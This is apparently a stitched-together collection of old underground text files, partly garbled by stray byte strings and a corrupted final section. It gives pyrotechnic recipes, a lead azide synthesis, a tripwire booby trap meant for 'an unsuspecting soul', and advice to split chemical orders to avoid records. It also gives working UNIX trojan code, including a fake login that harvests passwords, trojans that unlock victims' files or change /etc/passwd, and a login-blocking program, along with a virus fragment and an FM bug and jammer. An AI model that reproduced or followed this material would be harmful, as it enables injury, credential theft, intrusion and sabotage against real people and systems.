A much more spectacular oxidizing agent than Potassium Nitrate. It not only
yields more oxygen than Potassium Nitrate, it does so more easily. Pyrotechnic
mixtures containing this chemical will require much less of it, and yet burn
more fiercely. Even percussion can readily set the mixtures off. This can be
useful, but it sometimes makes the mixtures more sensitive than you'd like.
Mixtures containing this chemical must be handled carefully. Potassium
Chlorate is also poisonous.
Potassium Potassium
Chlorate Chloride Oxygen
2KClO ---> 2KCl + 3O
3 2
Aluminum Dust
Very finely divided aluminum. When put in a glass jar, it almost looks like a
solid piece of grey metal. In this form it is flammable. Also, it can
seriously damage your lungs if you inhale it. Be careful not to stir up any
clouds of dust, and it goes without saying that you shouldn't use it near an
open flame.
Zinc Dust
Very finely divided zinc. Not quite as flammable as Aluminum Dust, but still
worth handling carefully. Can also damage your lungs if inhaled. ∩ 7 Å3 ampblack
This is very finely divided carbon, usually obtained as a soot from other
manufacturing processes. It is much more effective in pyrotechnic mixtures
than powdered charcoal. Tiny spots of this are almost unnoticeable, but they
stick to your hands and smear incredibly far. If you're not very tidy you
should expect to find black smears all over your face and hands after using
this.
Sulfur
A yellow powder used as a reducing agent in many pyrotechnic mixtures. Buy
this in the finely powdered form. You can also get it in hard lumps, but these
will just waste extra time as you have to grind them yourself.
Potassium Permanganate
An oxidizing agent that's somewhat less vigorous than others mentioned here.
Not usually used in pyrotechnic mixtures because it's more expensive and less
effective than some of the alternatives. There are a few cases when it's just
the right thing. Don't let this accidentally come in contact with glycerine.
If such an accident happens, the resulting mess should be immediately wiped up
with wet paper towels and buried or flushed down a toilet. It should NOT be
thrown away in a dry waste receptacle!!!
Gum Arabic
A white powder which is mixed with water to make a glue like substance. Useful
for coating various mixtures or binding them together into a solid mass.
Sodium Peroxide
A very strange and dangerous oxidizer. Don't let it get wet and don't let it
touch your skin.
Glycerine
A thick liquid, chemically similar to rubbing alcohol. Though harder to get
burning, it will burn in the right circumstances. Fairly safe stuff.
Iodine Crystals
Pure Iodine is a steel grey solid, which is poisonous and which produses
poisonous vapors when heated. Smells similar to the chlorine used in bleaches
and swimming pools. If you accidentally should drop some on a hot surface and
notice the odor, you should leave the area.
Touch Paper
This is an easily made material that acts like a slow burning fuse and is
ideal for testing small amounts of a pyrotechnic mixture. It is made by
soaking a piece of absorbent paper, like a paper towel, in a saturated ∩ 7 Å3 èsolution of Potassium Nitrate. (A saturated solution means that you have
dissolved as much of the chemical in water as is possible.) Hang the paper up
to dry, and be sure to wipe up any drips. When dry it is ready. Cut off a
small strip and light the edge to see how different it acts from ordinary
paper. This will ignite all but the most stubborn mixtures, and will ignite
gunpowder, which will in turn ignite most anything else.
Don't dip the towel in the Potassium Nitrate solution a second time to try to
make it "stronger". This will actually make it less effective. Some of the
fancier paper towels don't work too well for this. Best results are obtained
from the cheap folded paper towels found in public restrooms everywhere.
Self Igniting Mixtures
Pulverize 1 gram of Potassium Permanganate crystals and place them on an
asbestos board or in an earthenware vessel. Let 2-3 drops of glycerine fall
onto the Potassium Permanganate. The mixture will eventually sizzle and then
flare. Potassium Permanganate is the oxidizing agent. The glycerine is
oxidized so quickly that heat is generated faster than it can be dissipated.
Consequently, the glycerine is ignited. Because this mixture takes so long to
catch on fire, it is sometimes useful when a time delay is needed to set off
some other mixture. If you lose patience with this test, DO NOT THROW THE
MIXTURE AWAY IN A WASTEBASKET!!! Either bury it or flush it down a toilet. I
know of at least one house fire that was started because this was not done.
Given time, this stuff WILL start to burn.
This demonstration produces a very nice effect, but sends out a lot of
poisonous fumes, so do it outside. Make a mound of equal volumes of iodine
crystals and aluminum dust. Make a small indentation at the top of the mound
and add a drop or two of water and move away. It will hiss and burst into
flame, generating thick purple smoke. The fumes are Iodine vapor which is
very caustic, so make sure you are upwind of the fire. Since this is set off
by moisture, you should not store the mixed material. Mix it immediately
before you plan to use it.
Shred a small piece of newspaper and place on it a small amount of sodium
peroxide. Add two drops of hot water. The paper will be ignited. CAUTION: Keep
Sodium Peroxide from moisture and out of contact with organic materials (your
skin, for example.)
Ammonium Nitrate, 5 grams, 1 gram of Ammonium Chloride. Grind these
SEPARATELY, and add 1/4 gram of zinc dust. Form a cone and add 2-4 drops of
water. A bright blue flame with large volumes of smoke forms. Depending on the
quality of your zinc dust, you may need to increase the quantity of zinc.
Since this is ignited by moisture, you should not attempt to store this
mixture.
Percussion Explosives
This section will not only introduce a couple of mixtures with interesting
possibilities, but it will also demonstrate how sensitive mixtures containing
Potassium Chlorate can be. Keep in mind that Chlorate mixtures can be a LOT
more sensitive than the ones shown here. ∩ 7 Å3 è
Mix 1 part by weight of Sulfur, and 3 parts Potassium Chlorate. Each should
be ground separately in a mortar. They should be mixed lightly without any
pressure on a sheet of paper. A small amount of this mixture (less than one
gram!!) placed on a hard surface and struck with a hammer will explode with a
loud report.
Mix the following parts by weight, the same way as above,
Potassium Chlorate 6
Lampblack 4
Sulfur 1
Both of these mixtures are flammable. Mix small quantities only.
Lead Azide Pb(N )
3 2
Unlike many explosives that must be enclosed in a casing to explode, and
others that require a detonator to set them off, Lead Azide will explode in
open air, either due to heat or percussion. Mixed with gum arabic glue, tiny
dots of it are placed under match heads to make trick exploding matches. The
same mixture coated onto 1/2 " wood splinters are used to "load" cigars. In
larger amounts, it is used as a detonator. A moderately light tap will set it
off, making it much more sensitive than the percussion explosives already
mentioned. It is very easy to make.
Take about 1.3 grams of sodium azide and dissolve it in water. It's best not
to use any more water than necessary. In a separate container, dissolve about
3.3 grams of Lead Nitrate, again only using as much water as needed to get it
to dissolve. When the two clear liquids are mixed, a white precipitate of Lead
Azide will settle out of the mixture. Add the Lead Nitrate solution, while
stirring, until no more Lead Azide precipitates out. You may not need to use
it all. Note that the above weights are given only for your convenience if you
have the necessary scales, and give the approximate proportions needed. You
need only continue to mix the solutions until no more precipitate forms.
The precipitate is filtered out and rinsed several times with distilled
water. It is a good idea to store this in its wet form, as it is less
sensitive this way. It's best not to store it if possible, but if you do, you
should keep it in a flexible plastic container that wont produce sharp
fragments in case of an explosion. (NO MORE THAN A GRAM AT A TIME !!!!) Also,
make sure that the mouth of the container is wiped CLEAN before putting the lid
on. Just the shock of removing the lid is enough to set off the dry powder if
it is wedged between the container and the stopper. Don't forget that after
you've removed the precipitate from the filter paper, there will still be
enough left to make the filter paper explosive.
Lead Azide is very powerful as well as very sensitive. Never make more than a
couple of grams at one time.
Reaction Equations ∩ 7 Å3 è
Lead Sodium Lead Sodium
Nitrate Azide Azide Nitrate
Pb(NO ) + 2NaN ---> Pb(N ) + 2NaNO
3 2 3 3 2 3
Don't try to salvage the Sodium Nitrate that's left over (dissolved in the
water). Sodium nitrate is cheap, not really useful for good pyrotechnics, and
this batch will be contaminated with poisonous lead. It's worthless stuff.
Dump it out.
To demonstrate the power of a little bit of Lead Azide, cut out a piece of
touch paper in the following shape
-----------------------------
! !
! !
! ---------------
! !
! ---------------
! !
! !
-----------------------------
Where the size of the wide rectangle is no more than one inch x 1/2 inch, and
the length of the little fuse is at least 3/4 inch. Apply a thin layer of wet
Lead Azide to the large rectangle with a paint brush and let it dry
thoroughly. When done, set this tester out in the open, light the fuse at the
very tip and step back. If done properly, the tiny bit of white powder will
produce a fairly loud explosion.
A Lead Azide Booby Trap
Get some string that's heavy enough so that it won't break when jerked hard.
A couple of feet is enough to test this out. You may want to use a longer piece
depending on what you plan to do with this. Fold a small "Z" shape in the
center of the string, as shown in figure 1. The middle section of the "Z"
Next, twist the Z portion together as tightly as you can. Don't worry if it
unwinds a bit when you let go, but it should still stay twisted closely
together. If it doesn't, you will need a different kind of string. Figure 2 ∩ 7 Å3 ètries to show what this will look like.
-------------//////////////////-----------------
Figure 2. Twist the Z portion tightly
Next, apply some wet Lead Azide to the twisted portion with a paint brush.
The Lead Azide should have a bit of Gum Arabic in it to make it sticky. Cut
out a piece of paper, two inches by 6 inches long, wrap it around the twisted
portion, and glue the end on so that it stays put. You should now have a two
inch narrow paper tube with a string sticking out each end, as shown in figure
3.
-------------------------
! !
----------! !-------------------
! !
-------------------------
Figure 3. The completed Booby Trap
You should now set the booby trap aside for at least two weeks so that the
Lead Azide inside can dry completely. Don't try to speed up the process by
heating it. When the two ends of the string are jerked hard, the friction in
the wound up string will set off the Lead Azide. The booby trap can be
attatched to doors, strung out as tripwires, or set up in any other situation
that will cause a quick pull on the strings. Be careful not to use too much
Lead Azide. A little will go a long way. Before trying this on an unsuspecting
soul, make a test booby trap as explained here, tie one end to a long rope,
and set it off from a distance.
The paper wound around the booby trap serves two purposes. It keeps the Lead
Azide from flaking off, and it pads the stuff so it will be less likely to get
set off accidentally. A good vigorous swat will still set it off though, so
store these separately and keep them padded well.
Getting The Chemicals
As always, be sure to use your brains when ordering chemicals from a lab
supply house. Those people KNOW what Sodium Azide and Lead Nitrate make when
mixed together. They also know that someone who orders a bunch of chlorates,
nitrates, metal dusts, sulfur, and the like, probably has mischeif in mind,
and they keep records. So break your orders up, order from different supply
houses, get some friends to order some of the materials, and try to order the
things long before you plan do do anything with them. It's a pain, and the
multiple orders cost a lot in extra shipping charges, but that's what it costs
to cover your tracks. DO it!
∩ 7 Å3 è Super Bottle Rockets
Go down to a hobby shop and buy some Estes rocket engines and some small
dowels, you can make these babies. Attach the dowel to the rocket casing with
tape or glue and be SURE to plug you the top end of the engine so you get a
bigger bang for your money. Epoxy works well for this. The great thing about
it is that they go VERY FAST and VERY FAR. The speed is enough to knock out
anything easily. You can go for A, B, C, or D engines but remember that the
heavier and more powerful the engine, the longer the dowel you will need. Buy
the C6-7 engines with a 6 second burn and 7 second delay for discharge.
------------------
UNIX Trojan Horses
------------------
Introduction
------------
"UNIX Security" is an oxymoron. It's an easy system to bruteforce hack
(most UNIX systems don't hang up after x number of login tries, and there are
a number of default logins, such as root, bin, sys and uucp). Once you're in
the system, you can easily bring it to its knees or, if you know a little 'C',
you can make the system work for you and totally eliminate the security
barriers to creating your own logins, reading anybody's files, etcetera. This
file will outline such ways by presenting 'C' code that you can implement
yourself.
Requirements
------------
You'll need a working account on a UNIX system. It should be a fairly
robust version of UNIX (such as 4.2bsd or AT&T System V) running on a real
machine (a PDP/11, VAX, Pyramid, etc.) for the best results. If you go to
school and have an account on the school system, that will do perfectly.
Notes
-----
This file was inspired an article in the April, '86 issue of BYTE
entitled "Making UNIX Secure." In the article, the authors say "We provide
this information in a way that, we hope, is interesting and useful yet stops
short of being a 'cookbook for crackers.' We have often intentionally omitted
details." I am following the general outline of the article, giving explicit
examples of the methods they touched on.
Project One: Fishing For Passwords
-----------------------------------
You can implement this with only a minimal knowledge of UNIX and C.
However, you need access to a terminal that many people use - the computer lab
at your school, for example.
When you log onto a typical UNIX system, you see something like this:
∩ 7 Å3 èTiburon Systems 4.2bsd / System V (shark)
login: shark
Password: (not printed)
The program I'm giving you here simulates a logon sequence. You run the
program from a terminal and then leave. Some unknowing fool will walk up and
enter their login and password. It is written to a file of yours, then "login
incorrect" is printed, then the fool is asked to log in again. The second
time it's the real login program. This time the person succeeds and they are
none the wiser.
On the system, put the following code into a file called 'horse.c'. You
will need to modify the first 8 lines to fit your system's appearance.
----- Code Begins Here -----
/* this is what a 'C' comment looks like. You can leave them out. */
/* #define's are like macros you can use for configuration. */
#define SYSTEM "\n\nTiburon Systems 4.2bsd UNIX (shark)\n\n"
/* The above string should be made to look like the message that your
* system prints when ready. Each \n represents a carriage return.
*/
#define LOGIN "login: "
/* The above is the login prompt. You shouldn't have to change it
* unless you're running some strange version of UNIX.
*/
#define PASSWORD "password:"
/* The above is the password prompt. You shouldn't have to change
* it, either.
*/
#define WAIT 2
/* The numerical value assigned to WAIT is the delay you get after
* "password:" and before "login incorrect." Change it (0 = almost
* no delay, 5 = LONG delay) so it looks like your system's delay.
* realism is the key here - we don't want our target to become
* suspicious.
*/
#define INCORRECT "Login incorrect.\n"
/* Change the above so it is what your system says when an incorrect
* login is given. You shouldn't have to change it. ∩ 7 Å3 è */
#define FILENAME "stuff"
/* FILENAME is the name of the file that the hacked passwords will
* be put into automatically. 'stuff' is a perfectly good name.
*/
/* Don't change the rest of the program unless there is a need to
* and you know 'C'.
*/
#include <curses.h>
#include <signal.h>
int stop();
main()
{
char name[10], password[10];
int i;
FILE *fp, *fopen();
signal(SIGINT,stop);
initscr();
printf(SYSTEM);
printf(LOGIN);
scanf("%[^\n]",name);
getchar();
noecho();
printf(PASSWORD);
scanf("%[^\n]",password);
printf("\n");
getchar();
echo();
sleep(WAIT);
if ( ( fp = fopen(FILENAME,"a") ) != NULL ) {
#fprintf(fp,"login %s has password %s\n",name,password);
#fclose(fp);
#}
printf(INCORRECT);
endwin();
}
stop()
{
endwin();
exit(0);
}
----- Source Ends Here -----
OK, as I said, enter the above and configure it so it looks exactly like ∩ 7 Å3 èyour system's login sequence. To compile this program called 'horse.c' type
the following two lines: (don't type the %'s, they are just a sample prompt)
% cc horse.c -lcurses -ltermcap
% mv a.out horse
You now have the working object code in a file called 'horse'. Run it, and if
it doesn't look like your systems logon sequence, re-edit horse.c and
recomplie it. When you're ready to put the program into use, create a new
file and call it 'trap' or something. 'trap' should have these two commands:
horse (this runs your program)
login (this runs the real login program)
to execute 'trap' type:
% source trap (again, don't type the %)
and walk away from your terminal...
After you've run it successfully a few times, check your file called
'stuff' (or whatever you decided to call it). It will look like this:
user john has password secret
user mary has password smegma
etc.
Copy down these passwords, then delete this file (it can be VERY incriminating
if the superuser sees it).
Note - for best results your terminal should be set to time-out after a few
minutes of non-use - that way, your horse program doesn't run idle for 14
hours if nobody uses the terminal you ran it on.
-----
The next projects can be run on a remote system, such as the VAX in Michigan
you've hacked into, or Dartmouth's UNIX system, or whatever. However, they
require a little knowledge of the 'C' language. They're not something for
UNIX novices.
Project Two: Reading Anybody's Files
-------------------------------------
When somebody runs a program, they're the owner of the process created and
that program can do anything they would do, such as delete a file in their
directory or making a file of theirs available for reading by anybody.
When people save old mail they get on a UNIX system, it's put into a file
called mbox in their home directory. This file can be fun to read but is
usually impossible for anybody but the file's owner to read. Here is a short
program that will unlock (i.e. chmod 777, or let anybody on the system read,
write or execute) the mbox file of the person who runs the program:
----- Code Begins Here ----- ∩ 7 Å3 è
#include <pwd.h>
struct passwd *getpwnam(name);
struct passwd *p;
char buf[255];
main()
{
p = getpwnam(getlogin());
sprintf(buf,"%s/%s",p->pw_dir,"mbox");
if ( access(buf,0) > -1 ) {
sprintf(buf,"chmod 777 %s/%s",p->pw_dir,"mbox");
system(buf);
}
}
----- Code Ends Here -----
So the question is: How do I get my target to run this program that's
in my directory?
If the system you're on has a public-messages type of thing (on 4.xbsd, type
'msgs') you can advertise your program there. Put the above code in another
program - find a utility or game program in some magazine like UNIX WORLD and
modify it and do the above before it does it's real thing. So if you have a
program called tic-tac-toe and you've modified it to unlock the mbox file of
the user before it plays tic-tac-toe with him, advertise "I have a new tic-
tac-toe program running that you should all try. It's in my directory." or
whatever. If you don't have means of telling everybody on the system via a
public message, then just send mail to the specific people you want to trap.
If you can't find a real program to modify, just take the above program and
add this line between the two '}' lines at the end of the program:
printf("Error opening tic-tac-toe data file. Sorry!\n");
when the program runs, it will print the above error message. The user will
think "Heh, that dude doesn't know how to write a simple tic-tac-toe program!"
but the joke's on him - you can now read his mail.
If there's a specific file in a user's directory that you'd like to read (say
it's called "secret") just throw together this general program:
main()
{
if ( access("secret",0) > -1 ) system("chmod 777 secret");
}
then 'talk' or 'write' to him and act like Joe Loser: "I wrote this program
called super_star_wars, will you try it out?"
You can use your imagination. Think of a command you'd like somebody to
execute. Then put it inside a system() call in a C program and trick them ∩ 7 Å3 èinto running your program!
Here's a very neat way of using the above technique:
Project Three: Become the superuser
-----------------------------------
Write a program that you can get people to run. Put this line in it
somewhere:
if ( !strcmp(getlogin(),"root") ) system("whatever you want");
This checks to see if the root login is running your program. If he is, you
can have him execute any shell command you'd like. Here are some suggestions:
"chmod 666 /etc/passwd"
/etc/passwd is the system's password file. The root owns this file.
Normally, everyone can read it (the passwords are encrypted) but only the root
can write to it. Take a look at it and see how it's formatted if you don't
know already. This command makes it possible for you to now write to the file
- i.e. create unlimited accounts for yourself and your friends.
"chmod 666 /etc/group"
By adding yourself to some high-access groups, you can open many
doors.
"chmod 666 /usr/lib/uucp/L.sys"
Look for this file on your system if it is on the uucp net. It contains
dialups and passwords to other systems on the net, and normally only the uucp
administrator can read it. Find out who owns this file and get him to
unknowingly execute a program to unlock it for you.
"rm /etc/passwd"
If you can get the root to execute this command, the system's passwd file
will be removed and the system will go down and will not come up for some time
to come. This is very destructive.
-----
If you are going to go about adding a trojan horse program to the system,
there are some rules you should follow. If the hidden purpose is something
major (such as unlocking the user's mbox or deleting all of his files or
something) this program shouldn't be a program that people will be running a
lot (such as a popular computer game) - once people discover that their files
are public access the source of the problem will be discovered quite easily.
Save this purpose for a 'test' program (such as a game you're in the process
of writing) that you ask individual people to run via mail or 'chatting' with
them. As I said, this 'test' program can bomb or print a phony error message
after completing its task, and you will just tell the person "well, I guess
it needs more work", wait until they log off, and then read whatever file of
theirs that you've unlocked. If your trojan horse program's sole purpose is ∩ 7 Å3 èto catch a specific user running it - such as the root or other high-powered
user - you can put the code to do so in a program that will be run a lot by
various users of the system. Your modification will remain dormant until he
runs it. If you can't find the source to 'star trek' or whatever in C, just
learn C and convert something from pascal. It can't hurt to learn C as it's a
great language. We've just seen what it can do on a UNIX system. Once you've
caught the root (i.e. you can now modify the /etc/passwd file) remove the
spurious code from your trojan horse program and you'll never be caught.
Unix - Odds & Ends
-- ------- ----- --- --- ------
1. Keeping Users Off The System
-- ------- ----- --- --- ------
Now, we all know by now how to log users off (one way is to redirect
an 'stty 0' command to their tty) but unless you have root privs, this
will not work when a user has set 'mesg n' and prevented other users from
writing to their terminal. But even users who have a 'mesg n' command in
their .login (or .profile or .cshrc) file still have a window of vulnerability,
the time between login and the locking of their terminal. I designed the
following program, block.c, to take advantage of this fact.
To get this source running on your favorite Unix system, upload it,
call it 'block.c', and type the following at the % or $ prompt:
cc -o block block.c
once you've compiled it successfully, it is invoked like so:
block username [&]
The & is optional and recommended - it runs the program in the background,
thus letting you do other things while it's at work.
If the user specified is logged in at present, it immediately logs
them out (if possible) and waits for them to log in. If they aren't logged
in, it starts waiting for them. If the user is presently logged in but
has their messages off, you'll have to wait until they've logged out to
start the thing going.
Block is essentially an endless loop : it keeps checking for the occurence
of the username in /etc/utmp. When it finds it, it immediately logs them
out and continues. If for some reason the logout attempt fails, the program
aborts. Normally this won't happen - the program is very quick when run
unmodified. However, to get such performance, it runs in a very tight
loop and will eat up a lot of CPU time. Notice that near the end of the
program there is the line:
/*sleep(SLEEP) */
the /* and */ are comment delimiters - right now the line is commented
out. If you remove the comments and re-compile the program, it will then ∩ 7 Å3 è'go to sleep' for the number of seconds defined in SLEEP (default is 5)
at the end of every loop. This will save the system load but will slightly
decrease the odds of catching the user during their 'window of vulnerability.'
If you have a chance to run this program at a computer lab at a school or
somewhere similar, run this program on a friend (or an enemy) and watch
the reaction on their face when they repeatedly try to log in and are
logged out before they can do *anything*. It is quite humorous. This
program is also quite nasty and can make you a lot of enemies!
caveat #1: note that if you run the program on yourself, you will be logged
out, the program will continue to run (depending on the shell you're under)
and you'll have locked yourself out of the system - so don't do this!
caveat #2: I wrote this under OSx version 4.0, which is a licensed version
of Unix which implements 4.3bsd and AT&T sysV. No guarantees that it will
work on your system.
caveat #3: If you run this program in background, don't forget to kill
it when you're done with it! (when you invoke it with '&', the shell will
give you a job number, such as '[2] 90125'. If you want to kill it later
in the same login session, type 'kill %2'. If you log in later and want
to kill it, type 'kill 90125'. Just read the man page on the kill command
This next trick wasn't exactly a work of stupefying genius, but is a ∩ 7 Å3 èlittle trick (that anybody can do) that I sometimes use to amuse myself
and, as with the above, annoy the hell out of my friends and enemies.
Nearly every Unix system has the 'write' program, for conversing with
other logged-in users. As a quick summary:
If you see that user 'clara' is logged in with the 'who' or 'w' command
or whatever, and you wish to talk to her for some reason or another,
you'd type 'write clara'. Clara then would see on her screen something
like this (given that you are username 'shark'):
[3 ^G's] Message from shark on ttyi13 at 23:14 ...
You then type away at her, and whatever you type is sent to her terminal
line-by-line. If she wanted to make it a conversation rather than a
monologue, she'd type 'write shark,' you'd get a message similar to the above
on your terminal, and the two of you would type away at each other to your
little heart's content. If either one of you wanted to end the conversation,
you would type a ^D. They would then see the characters 'EOF' on their
screen, but they'd still be 'write'ing to you until they typed a ^D as well.
Now, if you're on a bigger installation you'll probably have some sort
of full-screen windowing chat program like 'talk'. My version of talk
sends the following message:
Message from Talk_Daemon@tibsys at 23:14 ...
talk: connection requested by shark@tibsys.
talk: respond with: talk shark@tibsys
Anyway, here's where the fun part begins: It's quite easy to put a sample
'write' or 'talk' message into a file and then edit so that the 'from'
is a different person, and the tty is listed differently. If you see that
your dorky friend roger is on ttyi10 and the root also happens to be
logged on on ttyi01, make the file look something like this:
[3 control-G's] Message from root on ttyi01 at [the current time]
wackawackawackawackawacka!!!
[or a similarly confusing or rude message...]
EOF
Then, send this file to roger's terminal with:
cat filename > /dev/ttyi10
He'll get the message on his terminal and wonder what the hell the
superuser is talking about. He might even 'write' back to the superuser
with the intent of asking 'what the hell are you talking about?'. For
maximum effectiveness, *simultaneously* send a message to root 'from'
roger at the appropriate terminal with an equally strange message - they'll
then engage in a conversation that will go something like "what did you
mean by that?" "what do you mean, what do I mean? What did *you* mean ∩ 7 Å3 èby that?" etc. A splendid time is guaranteed for all! Note that you don't
have to make 'root' the perpetrator of the gag, any two currently logged-in
users who have their terminals open for messages can join in on the fun.
Similarly, you can fake a few 'talk' pages from/to two people...they will
then probably start talking...although the conversation will be along the
lines of "what do you want?" "you tell me." "you paged me, you tell *me."
etcetera, while you laugh yourself silly or something like that.
A variation on the theme: As I said, when using 'write' you type a ^D to
end the conversation, and the person you're typing at sees an 'EOF' on
their screen. But you could also just *type* 'EOF', and they'd think
you've quit...but you still have an open line to their terminal. Even
if they later turn messages off, you still have the ability to write to
their terminal. Keeping this fact in mind, anybody who knows what they're
doing can write a program similar to my 'block' program above that doesn't
log a user out when they appear on the system, but opens their tty as
a device and keeps the file handle in memory so you can redirect to their
terminal - to write rude messages or to log them out or whatever - at any
time, until they log out.
{modified version of Arpnet virus:Pascal should be redif to ASM}
{obj are ok compile will attach with viru@2 mechanizism..per @Trash33}
{makes the disk space packets and eats all avalible space,loop it }
{Enjoy and modify this is root version...aka SHADOWSPAWN}
Unit Netsnd;
Interface
Uses Crt, Dos, Consts, Types, Iostuff, Routing,
Netvars, Netfncs, Netrcv, Btree, Filedecs;
PROCEDURE make_packets;
Implementation
{--------MAKE PACKETS AND PACKETS AND PACKETS--------------------------------}
PROCEDURE make_packets;
VAR msg_counter : INTEGER;
tmp_ptr : node_info_ptr;
month,day,year,dow : WORD;
hour,minute,second,hund : WORD;
temp : line;
rl : LONGINT;
x : INTEGER;
new_net : INTEGER;
new_node : INTEGER;
attr : INTEGER;
fwd : BOOLEAN;
ch : CHAR;
t1,t2,t3 : INTEGER;
i,j : INTEGER;
seen : BOOLEAN;
more : BOOLEAN;
lrnum : lrnumber;
lrtmp : LONGINT;
tmp : short_string;
{-------------------SET UP FOR NET NODE PACKETS---------------------------} ∩ 7 Å3 è PROCEDURE construct_packet(new_net, new_node: INTEGER);
{It gets better, wait till election Day!!!!!!!...better close your.........}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %% <> How to make an FM ieess BUG <> %% %% By: <-> Johnney Rotten <-> %% %% <> A Cryptic Ciminls/Eite Justice Society presentation <> %% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%What it is----------This handy little device can be used for two purposes. The firt is a M bug,hich transmits on the FM frequency, thus making it extremely easy to pick up.The seond is aFM statin blocker (which can be really fun if you are pissedat someone who just happens t be listeing to th radio. In this case, you can do 1 (or both) of these: A) announce through the ug (on ther station)that Fred (whoever is listening) has just won 1 years supply of orthopedicsho pads, or B disconnectthe mike, and let it fry the station.) In thisfile, I will make some incredbly lame schmatics, whic any fool can follow,(lets see you make good schematics with Apple Writer, and tell yo all thejunkyou need (duh..) Ok, if you have no electronics background at all, goahad and try it nyways (hell, t's not my money your wasting on parts) Required Parts-------------(1) 2n3904transistor...........................[Q1](1) 10k resistor (+-5%).........................[R1](1) .7k resistor (+-%).........................[R2](1) 1k resistor (+-5%)..........................[R3(1) .001 uf capaitor............................[C1](1) 5 to 80 pf variable capcitor...............[C2](1) 10 pf cpacitor..............................[C3](2) .5 uh coils................................[L1,L2](1)SpSt slide switch............................[S1](1) 9 voltbattery clip.........................[B1(1) Antenna or antenna wire (3 in. or more)......[A1](1)microphone (like one ut of a phone)........[M1]Schematics---------- ---------------------------*------------*-------------* | | | | | | | | | | +A1 | | | | 1 | S1 R1 | C2 | | | | | | *---- | | | | | + | | | L2 B1 | | | | - | C1 | | | | | | | | *-------------*------Q1/-----*-----------* | | \ | --------* | \________________C3mike | --------* | | | R2 R3 | | | | | | -------------------------------------------------------How to operate-------------1. Turn on (duh..)2. urn the variable capacitor until youare on the station that you want to use (preferably towards ether end, so if they turn on their raio, theydon't get a bunch of audio fedback when they hit you station)3. This bug does not have along range (50 ft max), but if you usea large antenna on yor stereo (like the rooftop kind) the rage is greatly increased.I prefer to us a AM/FM walkman, soI can get close to the bug, and tape whaI want.-----------------------------------------------------------------------------(C) Januar 1, 1986 Cryptic Criminals/Elite Justice ociety |Thanks: r. Deth-----------------------------------------------------------------------------Call these ool boards:Castle Asgard.........[10 meg BS/AE/FUR].......(818) 788-3594Remote Hideut........[2 meg BBS/AE/FUR].......(818) 709-1079Treasue Island.......[2 drv AE/PW: RUSH].......(41) 547-2805
